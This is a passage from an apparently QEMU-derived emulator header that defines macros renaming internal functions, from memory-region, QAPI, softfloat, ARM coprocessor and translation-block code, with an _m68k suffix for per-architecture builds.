memory_region_get_fd_m68k +#define memory_region_get_may_overlap memory_region_get_may_overlap_m68k +#define memory_region_get_priority memory_region_get_priority_m68k +#define memory_region_get_ram_addr memory_region_get_ram_addr_m68k +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_m68k +#define memory_region_get_size memory_region_get_size_m68k +#define memory_region_info memory_region_info_m68k +#define memory_region_init memory_region_init_m68k +#define memory_region_init_alias memory_region_init_alias_m68k +#define memory_region_initfn memory_region_initfn_m68k +#define memory_region_init_io memory_region_init_io_m68k +#define memory_region_init_ram memory_region_init_ram_m68k +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_m68k +#define memory_region_init_reservation memory_region_init_reservation_m68k +#define memory_region_is_iommu memory_region_is_iommu_m68k +#define memory_region_is_logging memory_region_is_logging_m68k +#define memory_region_is_mapped memory_region_is_mapped_m68k +#define memory_region_is_ram memory_region_is_ram_m68k +#define memory_region_is_rom memory_region_is_rom_m68k +#define memory_region_is_romd memory_region_is_romd_m68k +#define memory_region_is_skip_dump memory_region_is_skip_dump_m68k +#define memory_region_is_unassigned memory_region_is_unassigned_m68k +#define memory_region_name memory_region_name_m68k +#define memory_region_need_escape memory_region_need_escape_m68k +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_m68k +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_m68k +#define memory_region_present memory_region_present_m68k +#define memory_region_read_accessor memory_region_read_accessor_m68k +#define memory_region_readd_subregion memory_region_readd_subregion_m68k +#define memory_region_ref memory_region_ref_m68k +#define memory_region_resolve_container memory_region_resolve_container_m68k +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_m68k +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_m68k +#define memory_region_set_address memory_region_set_address_m68k +#define memory_region_set_alias_offset memory_region_set_alias_offset_m68k +#define memory_region_set_enabled memory_region_set_enabled_m68k +#define memory_region_set_readonly memory_region_set_readonly_m68k +#define memory_region_set_skip_dump memory_region_set_skip_dump_m68k +#define memory_region_size memory_region_size_m68k +#define memory_region_to_address_space memory_region_to_address_space_m68k +#define memory_region_transaction_begin memory_region_transaction_begin_m68k +#define memory_region_transaction_commit memory_region_transaction_commit_m68k +#define memory_region_unref memory_region_unref_m68k +#define memory_region_update_container_subregions memory_region_update_container_subregions_m68k +#define memory_region_write_accessor memory_region_write_accessor_m68k +#define memory_region_wrong_endianness memory_region_wrong_endianness_m68k +#define memory_try_enable_merging memory_try_enable_merging_m68k +#define module_call_init module_call_init_m68k +#define module_load module_load_m68k +#define mpidr_cp_reginfo mpidr_cp_reginfo_m68k +#define mpidr_read mpidr_read_m68k +#define msr_mask msr_mask_m68k +#define mul128By64To192 mul128By64To192_m68k +#define mul128To256 mul128To256_m68k +#define mul64To128 mul64To128_m68k +#define muldiv64 muldiv64_m68k +#define neon_2rm_is_float_op neon_2rm_is_float_op_m68k +#define neon_2rm_sizes neon_2rm_sizes_m68k +#define neon_3r_sizes neon_3r_sizes_m68k +#define neon_get_scalar neon_get_scalar_m68k +#define neon_load_reg neon_load_reg_m68k +#define neon_load_reg64 neon_load_reg64_m68k +#define neon_load_scratch neon_load_scratch_m68k +#define neon_ls_element_type neon_ls_element_type_m68k +#define neon_reg_offset neon_reg_offset_m68k +#define neon_store_reg neon_store_reg_m68k +#define neon_store_reg64 neon_store_reg64_m68k +#define neon_store_scratch neon_store_scratch_m68k +#define new_ldst_label new_ldst_label_m68k +#define next_list next_list_m68k +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_m68k +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_m68k +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_m68k +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_m68k +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_m68k +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_m68k +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_m68k +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_m68k +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_m68k +#define not_v6_cp_reginfo not_v6_cp_reginfo_m68k +#define not_v7_cp_reginfo not_v7_cp_reginfo_m68k +#define not_v8_cp_reginfo not_v8_cp_reginfo_m68k +#define object_child_foreach object_child_foreach_m68k +#define object_class_foreach object_class_foreach_m68k +#define object_class_foreach_tramp object_class_foreach_tramp_m68k +#define object_class_get_list object_class_get_list_m68k +#define object_class_get_list_tramp object_class_get_list_tramp_m68k +#define object_class_get_parent object_class_get_parent_m68k +#define object_deinit object_deinit_m68k +#define object_dynamic_cast object_dynamic_cast_m68k +#define object_finalize object_finalize_m68k +#define object_finalize_child_property object_finalize_child_property_m68k +#define object_get_child_property object_get_child_property_m68k +#define object_get_link_property object_get_link_property_m68k +#define object_get_root object_get_root_m68k +#define object_initialize_with_type object_initialize_with_type_m68k +#define object_init_with_type object_init_with_type_m68k +#define object_instance_init object_instance_init_m68k +#define object_new_with_type object_new_with_type_m68k +#define object_post_init_with_type object_post_init_with_type_m68k +#define object_property_add_alias object_property_add_alias_m68k +#define object_property_add_link object_property_add_link_m68k +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_m68k +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_m68k +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_m68k +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_m68k +#define object_property_allow_set_link object_property_allow_set_link_m68k +#define object_property_del object_property_del_m68k +#define object_property_del_all object_property_del_all_m68k +#define object_property_find object_property_find_m68k +#define object_property_get object_property_get_m68k +#define object_property_get_bool object_property_get_bool_m68k +#define object_property_get_int object_property_get_int_m68k +#define object_property_get_link object_property_get_link_m68k +#define object_property_get_qobject object_property_get_qobject_m68k +#define object_property_get_str object_property_get_str_m68k +#define object_property_get_type object_property_get_type_m68k +#define object_property_is_child object_property_is_child_m68k +#define object_property_set object_property_set_m68k +#define object_property_set_description object_property_set_description_m68k +#define object_property_set_link object_property_set_link_m68k +#define object_property_set_qobject object_property_set_qobject_m68k +#define object_release_link_property object_release_link_property_m68k +#define object_resolve_abs_path object_resolve_abs_path_m68k +#define object_resolve_child_property object_resolve_child_property_m68k +#define object_resolve_link object_resolve_link_m68k +#define object_resolve_link_property object_resolve_link_property_m68k +#define object_resolve_partial_path object_resolve_partial_path_m68k +#define object_resolve_path object_resolve_path_m68k +#define object_resolve_path_component object_resolve_path_component_m68k +#define object_resolve_path_type object_resolve_path_type_m68k +#define object_set_link_property object_set_link_property_m68k +#define object_unparent object_unparent_m68k +#define omap_cachemaint_write omap_cachemaint_write_m68k +#define omap_cp_reginfo omap_cp_reginfo_m68k +#define omap_threadid_write omap_threadid_write_m68k +#define omap_ticonfig_write omap_ticonfig_write_m68k +#define omap_wfi_write omap_wfi_write_m68k +#define op_bits op_bits_m68k +#define open_modeflags open_modeflags_m68k +#define op_to_mov op_to_mov_m68k +#define op_to_movi op_to_movi_m68k +#define output_type_enum output_type_enum_m68k +#define packFloat128 packFloat128_m68k +#define packFloat16 packFloat16_m68k +#define packFloat32 packFloat32_m68k +#define packFloat64 packFloat64_m68k +#define packFloatx80 packFloatx80_m68k +#define page_find page_find_m68k +#define page_find_alloc page_find_alloc_m68k +#define page_flush_tb page_flush_tb_m68k +#define page_flush_tb_1 page_flush_tb_1_m68k +#define page_init page_init_m68k +#define page_size_init page_size_init_m68k +#define par par_m68k +#define parse_array parse_array_m68k +#define parse_error parse_error_m68k +#define parse_escape parse_escape_m68k +#define parse_keyword parse_keyword_m68k +#define parse_literal parse_literal_m68k +#define parse_object parse_object_m68k +#define parse_optional parse_optional_m68k +#define parse_option_bool parse_option_bool_m68k +#define parse_option_number parse_option_number_m68k +#define parse_option_size parse_option_size_m68k +#define parse_pair parse_pair_m68k +#define parser_context_free parser_context_free_m68k +#define parser_context_new parser_context_new_m68k +#define parser_context_peek_token parser_context_peek_token_m68k +#define parser_context_pop_token parser_context_pop_token_m68k +#define parser_context_restore parser_context_restore_m68k +#define parser_context_save parser_context_save_m68k +#define parse_str parse_str_m68k +#define parse_type_bool parse_type_bool_m68k +#define parse_type_int parse_type_int_m68k +#define parse_type_number parse_type_number_m68k +#define parse_type_size parse_type_size_m68k +#define parse_type_str parse_type_str_m68k +#define parse_value parse_value_m68k +#define par_write par_write_m68k +#define patch_reloc patch_reloc_m68k +#define phys_map_node_alloc phys_map_node_alloc_m68k +#define phys_map_node_reserve phys_map_node_reserve_m68k +#define phys_mem_alloc phys_mem_alloc_m68k +#define phys_mem_set_alloc phys_mem_set_alloc_m68k +#define phys_page_compact phys_page_compact_m68k +#define phys_page_compact_all phys_page_compact_all_m68k +#define phys_page_find phys_page_find_m68k +#define phys_page_set phys_page_set_m68k +#define phys_page_set_level phys_page_set_level_m68k +#define phys_section_add phys_section_add_m68k +#define phys_section_destroy phys_section_destroy_m68k +#define phys_sections_free phys_sections_free_m68k +#define pickNaN pickNaN_m68k +#define pickNaNMulAdd pickNaNMulAdd_m68k +#define pmccfiltr_write pmccfiltr_write_m68k +#define pmccntr_read pmccntr_read_m68k +#define pmccntr_sync pmccntr_sync_m68k +#define pmccntr_write pmccntr_write_m68k +#define pmccntr_write32 pmccntr_write32_m68k +#define pmcntenclr_write pmcntenclr_write_m68k +#define pmcntenset_write pmcntenset_write_m68k +#define pmcr_write pmcr_write_m68k +#define pmintenclr_write pmintenclr_write_m68k +#define pmintenset_write pmintenset_write_m68k +#define pmovsr_write pmovsr_write_m68k +#define pmreg_access pmreg_access_m68k +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_m68k +#define pmsav5_data_ap_read pmsav5_data_ap_read_m68k +#define pmsav5_data_ap_write pmsav5_data_ap_write_m68k +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_m68k +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_m68k +#define pmuserenr_write pmuserenr_write_m68k +#define pmxevtyper_write pmxevtyper_write_m68k +#define print_type_bool print_type_bool_m68k +#define print_type_int print_type_int_m68k +#define print_type_number print_type_number_m68k +#define print_type_size print_type_size_m68k +#define print_type_str print_type_str_m68k +#define propagateFloat128NaN propagateFloat128NaN_m68k +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_m68k +#define propagateFloat32NaN propagateFloat32NaN_m68k +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_m68k +#define propagateFloat64NaN propagateFloat64NaN_m68k +#define propagateFloatx80NaN propagateFloatx80NaN_m68k +#define property_get_alias property_get_alias_m68k +#define property_get_bool property_get_bool_m68k +#define property_get_str property_get_str_m68k +#define property_get_uint16_ptr property_get_uint16_ptr_m68k +#define property_get_uint32_ptr property_get_uint32_ptr_m68k +#define property_get_uint64_ptr property_get_uint64_ptr_m68k +#define property_get_uint8_ptr property_get_uint8_ptr_m68k +#define property_release_alias property_release_alias_m68k +#define property_release_bool property_release_bool_m68k +#define property_release_str property_release_str_m68k +#define property_resolve_alias property_resolve_alias_m68k +#define property_set_alias property_set_alias_m68k +#define property_set_bool property_set_bool_m68k +#define property_set_str property_set_str_m68k +#define pstate_read pstate_read_m68k +#define pstate_write pstate_write_m68k +#define pxa250_initfn pxa250_initfn_m68k +#define pxa255_initfn pxa255_initfn_m68k +#define pxa260_initfn pxa260_initfn_m68k +#define pxa261_initfn pxa261_initfn_m68k +#define pxa262_initfn pxa262_initfn_m68k +#define pxa270a0_initfn pxa270a0_initfn_m68k +#define pxa270a1_initfn pxa270a1_initfn_m68k +#define pxa270b0_initfn pxa270b0_initfn_m68k +#define pxa270b1_initfn pxa270b1_initfn_m68k +#define pxa270c0_initfn pxa270c0_initfn_m68k +#define pxa270c5_initfn pxa270c5_initfn_m68k +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_m68k +#define qapi_dealloc_end_list qapi_dealloc_end_list_m68k +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_m68k +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_m68k +#define qapi_dealloc_next_list qapi_dealloc_next_list_m68k +#define qapi_dealloc_pop qapi_dealloc_pop_m68k +#define qapi_dealloc_push qapi_dealloc_push_m68k +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_m68k +#define qapi_dealloc_start_list qapi_dealloc_start_list_m68k +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_m68k +#define qapi_dealloc_start_union qapi_dealloc_start_union_m68k +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_m68k +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_m68k +#define qapi_dealloc_type_int qapi_dealloc_type_int_m68k +#define qapi_dealloc_type_number qapi_dealloc_type_number_m68k +#define qapi_dealloc_type_size qapi_dealloc_type_size_m68k +#define qapi_dealloc_type_str qapi_dealloc_type_str_m68k +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_m68k +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_m68k +#define qapi_free_boolList qapi_free_boolList_m68k +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_m68k +#define qapi_free_int16List qapi_free_int16List_m68k +#define qapi_free_int32List qapi_free_int32List_m68k +#define qapi_free_int64List qapi_free_int64List_m68k +#define qapi_free_int8List qapi_free_int8List_m68k +#define qapi_free_intList qapi_free_intList_m68k +#define qapi_free_numberList qapi_free_numberList_m68k +#define qapi_free_strList qapi_free_strList_m68k +#define qapi_free_uint16List qapi_free_uint16List_m68k +#define qapi_free_uint32List qapi_free_uint32List_m68k +#define qapi_free_uint64List qapi_free_uint64List_m68k +#define qapi_free_uint8List qapi_free_uint8List_m68k +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_m68k +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_m68k +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_m68k +#define qbool_destroy_obj qbool_destroy_obj_m68k +#define qbool_from_int qbool_from_int_m68k +#define qbool_get_int qbool_get_int_m68k +#define qbool_type qbool_type_m68k +#define qbus_create qbus_create_m68k +#define qbus_create_inplace qbus_create_inplace_m68k +#define qbus_finalize qbus_finalize_m68k +#define qbus_initfn qbus_initfn_m68k +#define qbus_realize qbus_realize_m68k +#define qdev_create qdev_create_m68k +#define qdev_get_type qdev_get_type_m68k +#define qdev_register_types qdev_register_types_m68k +#define qdev_set_parent_bus qdev_set_parent_bus_m68k +#define qdev_try_create qdev_try_create_m68k +#define qdict_add_key qdict_add_key_m68k +#define qdict_array_split qdict_array_split_m68k +#define qdict_clone_shallow qdict_clone_shallow_m68k +#define qdict_del qdict_del_m68k +#define qdict_destroy_obj qdict_destroy_obj_m68k +#define qdict_entry_key qdict_entry_key_m68k +#define qdict_entry_value qdict_entry_value_m68k +#define qdict_extract_subqdict qdict_extract_subqdict_m68k +#define qdict_find qdict_find_m68k +#define qdict_first qdict_first_m68k +#define qdict_flatten qdict_flatten_m68k +#define qdict_flatten_qdict qdict_flatten_qdict_m68k +#define qdict_flatten_qlist qdict_flatten_qlist_m68k +#define qdict_get qdict_get_m68k +#define qdict_get_bool qdict_get_bool_m68k +#define qdict_get_double qdict_get_double_m68k +#define qdict_get_int qdict_get_int_m68k +#define qdict_get_obj qdict_get_obj_m68k +#define qdict_get_qdict qdict_get_qdict_m68k +#define qdict_get_qlist qdict_get_qlist_m68k +#define qdict_get_str qdict_get_str_m68k +#define qdict_get_try_bool qdict_get_try_bool_m68k +#define qdict_get_try_int qdict_get_try_int_m68k +#define qdict_get_try_str qdict_get_try_str_m68k +#define qdict_haskey qdict_haskey_m68k +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_m68k +#define qdict_iter qdict_iter_m68k +#define qdict_join qdict_join_m68k +#define qdict_new qdict_new_m68k +#define qdict_next qdict_next_m68k +#define qdict_next_entry qdict_next_entry_m68k +#define qdict_put_obj qdict_put_obj_m68k +#define qdict_size qdict_size_m68k +#define qdict_type qdict_type_m68k +#define qemu_clock_get_us qemu_clock_get_us_m68k +#define qemu_clock_ptr qemu_clock_ptr_m68k +#define qemu_clocks qemu_clocks_m68k +#define qemu_get_cpu qemu_get_cpu_m68k +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_m68k +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_m68k +#define qemu_get_ram_block qemu_get_ram_block_m68k +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_m68k +#define qemu_get_ram_fd qemu_get_ram_fd_m68k +#define qemu_get_ram_ptr qemu_get_ram_ptr_m68k +#define qemu_host_page_mask qemu_host_page_mask_m68k +#define qemu_host_page_size qemu_host_page_size_m68k +#define qemu_init_vcpu qemu_init_vcpu_m68k +#define qemu_ld_helpers qemu_ld_helpers_m68k +#define qemu_log_close qemu_log_close_m68k +#define qemu_log_enabled qemu_log_enabled_m68k +#define qemu_log_flush qemu_log_flush_m68k +#define qemu_loglevel_mask qemu_loglevel_mask_m68k +#define qemu_log_vprintf qemu_log_vprintf_m68k +#define qemu_oom_check qemu_oom_check_m68k +#define qemu_parse_fd qemu_parse_fd_m68k +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_m68k +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_m68k +#define qemu_ram_alloc qemu_ram_alloc_m68k +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_m68k +#define qemu_ram_foreach_block qemu_ram_foreach_block_m68k +#define qemu_ram_free qemu_ram_free_m68k +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_m68k +#define qemu_ram_ptr_length qemu_ram_ptr_length_m68k +#define qemu_ram_remap qemu_ram_remap_m68k +#define qemu_ram_setup_dump qemu_ram_setup_dump_m68k +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_m68k +#define qemu_real_host_page_size qemu_real_host_page_size_m68k +#define qemu_st_helpers qemu_st_helpers_m68k +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_m68k +#define qemu_try_memalign qemu_try_memalign_m68k +#define qentry_destroy qentry_destroy_m68k +#define qerror_human qerror_human_m68k +#define qerror_report qerror_report_m68k +#define qerror_report_err qerror_report_err_m68k +#define qfloat_destroy_obj qfloat_destroy_obj_m68k +#define qfloat_from_double qfloat_from_double_m68k +#define qfloat_get_double qfloat_get_double_m68k +#define qfloat_type qfloat_type_m68k +#define qint_destroy_obj qint_destroy_obj_m68k +#define qint_from_int qint_from_int_m68k +#define qint_get_int qint_get_int_m68k +#define qint_type qint_type_m68k +#define qlist_append_obj qlist_append_obj_m68k +#define qlist_copy qlist_copy_m68k +#define qlist_copy_elem qlist_copy_elem_m68k +#define qlist_destroy_obj qlist_destroy_obj_m68k +#define qlist_empty qlist_empty_m68k +#define qlist_entry_obj qlist_entry_obj_m68k +#define qlist_first qlist_first_m68k +#define qlist_iter qlist_iter_m68k +#define qlist_new qlist_new_m68k +#define qlist_next qlist_next_m68k +#define qlist_peek qlist_peek_m68k +#define qlist_pop qlist_pop_m68k +#define qlist_size qlist_size_m68k +#define qlist_size_iter qlist_size_iter_m68k +#define qlist_type qlist_type_m68k +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_m68k +#define qmp_input_end_list qmp_input_end_list_m68k +#define qmp_input_end_struct qmp_input_end_struct_m68k +#define qmp_input_get_next_type qmp_input_get_next_type_m68k +#define qmp_input_get_object qmp_input_get_object_m68k +#define qmp_input_get_visitor qmp_input_get_visitor_m68k +#define qmp_input_next_list qmp_input_next_list_m68k +#define qmp_input_optional qmp_input_optional_m68k +#define qmp_input_pop qmp_input_pop_m68k +#define qmp_input_push qmp_input_push_m68k +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_m68k +#define qmp_input_start_list qmp_input_start_list_m68k +#define qmp_input_start_struct qmp_input_start_struct_m68k +#define qmp_input_type_bool qmp_input_type_bool_m68k +#define qmp_input_type_int qmp_input_type_int_m68k +#define qmp_input_type_number qmp_input_type_number_m68k +#define qmp_input_type_str qmp_input_type_str_m68k +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_m68k +#define qmp_input_visitor_new qmp_input_visitor_new_m68k +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_m68k +#define qmp_output_add_obj qmp_output_add_obj_m68k +#define qmp_output_end_list qmp_output_end_list_m68k +#define qmp_output_end_struct qmp_output_end_struct_m68k +#define qmp_output_first qmp_output_first_m68k +#define qmp_output_get_qobject qmp_output_get_qobject_m68k +#define qmp_output_get_visitor qmp_output_get_visitor_m68k +#define qmp_output_last qmp_output_last_m68k +#define qmp_output_next_list qmp_output_next_list_m68k +#define qmp_output_pop qmp_output_pop_m68k +#define qmp_output_push_obj qmp_output_push_obj_m68k +#define qmp_output_start_list qmp_output_start_list_m68k +#define qmp_output_start_struct qmp_output_start_struct_m68k +#define qmp_output_type_bool qmp_output_type_bool_m68k +#define qmp_output_type_int qmp_output_type_int_m68k +#define qmp_output_type_number qmp_output_type_number_m68k +#define qmp_output_type_str qmp_output_type_str_m68k +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_m68k +#define qmp_output_visitor_new qmp_output_visitor_new_m68k +#define qobject_decref qobject_decref_m68k +#define qobject_to_qbool qobject_to_qbool_m68k +#define qobject_to_qdict qobject_to_qdict_m68k +#define qobject_to_qfloat qobject_to_qfloat_m68k +#define qobject_to_qint qobject_to_qint_m68k +#define qobject_to_qlist qobject_to_qlist_m68k +#define qobject_to_qstring qobject_to_qstring_m68k +#define qobject_type qobject_type_m68k +#define qstring_append qstring_append_m68k +#define qstring_append_chr qstring_append_chr_m68k +#define qstring_append_int qstring_append_int_m68k +#define qstring_destroy_obj qstring_destroy_obj_m68k +#define qstring_from_escaped_str qstring_from_escaped_str_m68k +#define qstring_from_str qstring_from_str_m68k +#define qstring_from_substr qstring_from_substr_m68k +#define qstring_get_length qstring_get_length_m68k +#define qstring_get_str qstring_get_str_m68k +#define qstring_new qstring_new_m68k +#define qstring_type qstring_type_m68k +#define ram_block_add ram_block_add_m68k +#define ram_size ram_size_m68k +#define range_compare range_compare_m68k +#define range_covers_byte range_covers_byte_m68k +#define range_get_last range_get_last_m68k +#define range_merge range_merge_m68k +#define ranges_can_merge ranges_can_merge_m68k +#define raw_read raw_read_m68k +#define raw_write raw_write_m68k +#define rcon rcon_m68k +#define read_raw_cp_reg read_raw_cp_reg_m68k +#define recip_estimate recip_estimate_m68k +#define recip_sqrt_estimate recip_sqrt_estimate_m68k +#define register_cp_regs_for_features register_cp_regs_for_features_m68k +#define register_multipage register_multipage_m68k +#define register_subpage register_subpage_m68k +#define register_tm_clones register_tm_clones_m68k +#define register_types_object register_types_object_m68k +#define regnames regnames_m68k +#define render_memory_region render_memory_region_m68k +#define reset_all_temps reset_all_temps_m68k +#define reset_temp reset_temp_m68k +#define rol32 rol32_m68k +#define rol64 rol64_m68k +#define ror32 ror32_m68k +#define ror64 ror64_m68k +#define roundAndPackFloat128 roundAndPackFloat128_m68k +#define roundAndPackFloat16 roundAndPackFloat16_m68k +#define roundAndPackFloat32 roundAndPackFloat32_m68k +#define roundAndPackFloat64 roundAndPackFloat64_m68k +#define roundAndPackFloatx80 roundAndPackFloatx80_m68k +#define roundAndPackInt32 roundAndPackInt32_m68k +#define roundAndPackInt64 roundAndPackInt64_m68k +#define roundAndPackUint64 roundAndPackUint64_m68k +#define round_to_inf round_to_inf_m68k +#define run_on_cpu run_on_cpu_m68k +#define s0 s0_m68k +#define S0 S0_m68k +#define s1 s1_m68k +#define S1 S1_m68k +#define sa1100_initfn sa1100_initfn_m68k +#define sa1110_initfn sa1110_initfn_m68k +#define save_globals save_globals_m68k +#define scr_write scr_write_m68k +#define sctlr_write sctlr_write_m68k +#define set_bit set_bit_m68k +#define set_bits set_bits_m68k +#define set_default_nan_mode set_default_nan_mode_m68k +#define set_feature set_feature_m68k +#define set_float_detect_tininess set_float_detect_tininess_m68k +#define set_float_exception_flags set_float_exception_flags_m68k +#define set_float_rounding_mode set_float_rounding_mode_m68k +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_m68k +#define set_flush_to_zero set_flush_to_zero_m68k +#define set_swi_errno set_swi_errno_m68k +#define sextract32 sextract32_m68k +#define sextract64 sextract64_m68k +#define shift128ExtraRightJamming shift128ExtraRightJamming_m68k +#define shift128Right shift128Right_m68k +#define shift128RightJamming shift128RightJamming_m68k +#define shift32RightJamming shift32RightJamming_m68k +#define shift64ExtraRightJamming shift64ExtraRightJamming_m68k +#define shift64RightJamming shift64RightJamming_m68k +#define shifter_out_im shifter_out_im_m68k +#define shortShift128Left shortShift128Left_m68k +#define shortShift192Left shortShift192Left_m68k +#define simple_mpu_ap_bits simple_mpu_ap_bits_m68k +#define size_code_gen_buffer size_code_gen_buffer_m68k +#define softmmu_lock_user softmmu_lock_user_m68k +#define softmmu_lock_user_string softmmu_lock_user_string_m68k +#define softmmu_tget32 softmmu_tget32_m68k +#define softmmu_tget8 softmmu_tget8_m68k +#define softmmu_tput32 softmmu_tput32_m68k +#define softmmu_unlock_user softmmu_unlock_user_m68k +#define sort_constraints sort_constraints_m68k +#define sp_el0_access sp_el0_access_m68k +#define spsel_read spsel_read_m68k +#define spsel_write spsel_write_m68k +#define start_list start_list_m68k +#define stb_p stb_p_m68k +#define stb_phys stb_phys_m68k +#define stl_be_p stl_be_p_m68k +#define stl_be_phys stl_be_phys_m68k +#define stl_he_p stl_he_p_m68k +#define stl_le_p stl_le_p_m68k +#define stl_le_phys stl_le_phys_m68k +#define stl_phys stl_phys_m68k +#define stl_phys_internal stl_phys_internal_m68k +#define stl_phys_notdirty stl_phys_notdirty_m68k +#define store_cpu_offset store_cpu_offset_m68k +#define store_reg store_reg_m68k +#define store_reg_bx store_reg_bx_m68k +#define store_reg_from_load store_reg_from_load_m68k +#define stq_be_p stq_be_p_m68k +#define stq_be_phys stq_be_phys_m68k +#define stq_he_p stq_he_p_m68k +#define stq_le_p stq_le_p_m68k +#define stq_le_phys stq_le_phys_m68k +#define stq_phys stq_phys_m68k +#define string_input_get_visitor string_input_get_visitor_m68k +#define string_input_visitor_cleanup string_input_visitor_cleanup_m68k +#define string_input_visitor_new string_input_visitor_new_m68k +#define strongarm_cp_reginfo strongarm_cp_reginfo_m68k +#define strstart strstart_m68k +#define strtosz strtosz_m68k +#define strtosz_suffix strtosz_suffix_m68k +#define stw_be_p stw_be_p_m68k +#define stw_be_phys stw_be_phys_m68k +#define stw_he_p stw_he_p_m68k +#define stw_le_p stw_le_p_m68k +#define stw_le_phys stw_le_phys_m68k +#define stw_phys stw_phys_m68k +#define stw_phys_internal stw_phys_internal_m68k +#define sub128 sub128_m68k +#define sub16_sat sub16_sat_m68k +#define sub16_usat sub16_usat_m68k +#define sub192 sub192_m68k +#define sub8_sat sub8_sat_m68k +#define sub8_usat sub8_usat_m68k +#define subFloat128Sigs subFloat128Sigs_m68k +#define subFloat32Sigs subFloat32Sigs_m68k +#define subFloat64Sigs subFloat64Sigs_m68k +#define subFloatx80Sigs subFloatx80Sigs_m68k +#define subpage_accepts subpage_accepts_m68k +#define subpage_init subpage_init_m68k +#define subpage_ops subpage_ops_m68k +#define subpage_read subpage_read_m68k +#define subpage_register subpage_register_m68k +#define subpage_write subpage_write_m68k +#define suffix_mul suffix_mul_m68k +#define swap_commutative swap_commutative_m68k +#define swap_commutative2 swap_commutative2_m68k +#define switch_mode switch_mode_m68k +#define switch_v7m_sp switch_v7m_sp_m68k +#define syn_aa32_bkpt syn_aa32_bkpt_m68k +#define syn_aa32_hvc syn_aa32_hvc_m68k +#define syn_aa32_smc syn_aa32_smc_m68k +#define syn_aa32_svc syn_aa32_svc_m68k +#define syn_breakpoint syn_breakpoint_m68k +#define sync_globals sync_globals_m68k +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_m68k +#define syn_cp14_rt_trap syn_cp14_rt_trap_m68k +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_m68k +#define syn_cp15_rt_trap syn_cp15_rt_trap_m68k +#define syn_data_abort syn_data_abort_m68k +#define syn_fp_access_trap syn_fp_access_trap_m68k +#define syn_insn_abort syn_insn_abort_m68k +#define syn_swstep syn_swstep_m68k +#define syn_uncategorized syn_uncategorized_m68k +#define syn_watchpoint syn_watchpoint_m68k +#define syscall_err syscall_err_m68k +#define system_bus_class_init system_bus_class_init_m68k +#define system_bus_info system_bus_info_m68k +#define t2ee_cp_reginfo t2ee_cp_reginfo_m68k +#define table_logic_cc table_logic_cc_m68k +#define target_parse_constraint target_parse_constraint_m68k +#define target_words_bigendian target_words_bigendian_m68k +#define tb_add_jump tb_add_jump_m68k +#define tb_alloc tb_alloc_m68k +#define tb_alloc_page tb_alloc_page_m68k +#define tb_check_watchpoint tb_check_watchpoint_m68k +#define tb_find_fast tb_find_fast_m68k +#define tb_find_pc tb_find_pc_m68k +#define tb_find_slow tb_find_slow_m68k +#define tb_flush tb_flush_m68k +#define tb_flush_jmp_cache tb_flush_jmp_cache_m68k +#define tb_free tb_free_m68k +#define tb_gen_code tb_gen_code_m68k +#define tb_hash_remove tb_hash_remove_m68k +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_m68k +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_m68k +#define tb_invalidate_phys_range tb_invalidate_phys_range_m68k +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_m68k +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_m68k +#define tb_jmp_remove tb_jmp_remove_m68k +#define tb_link_page tb_link_page_m68k +#define tb_page_remove tb_page_remove_m68k +#define tb_phys_hash_func tb_phys_hash_func_m68k +#define tb_phys_invalidate tb_phys_invalidate_m68k +#define 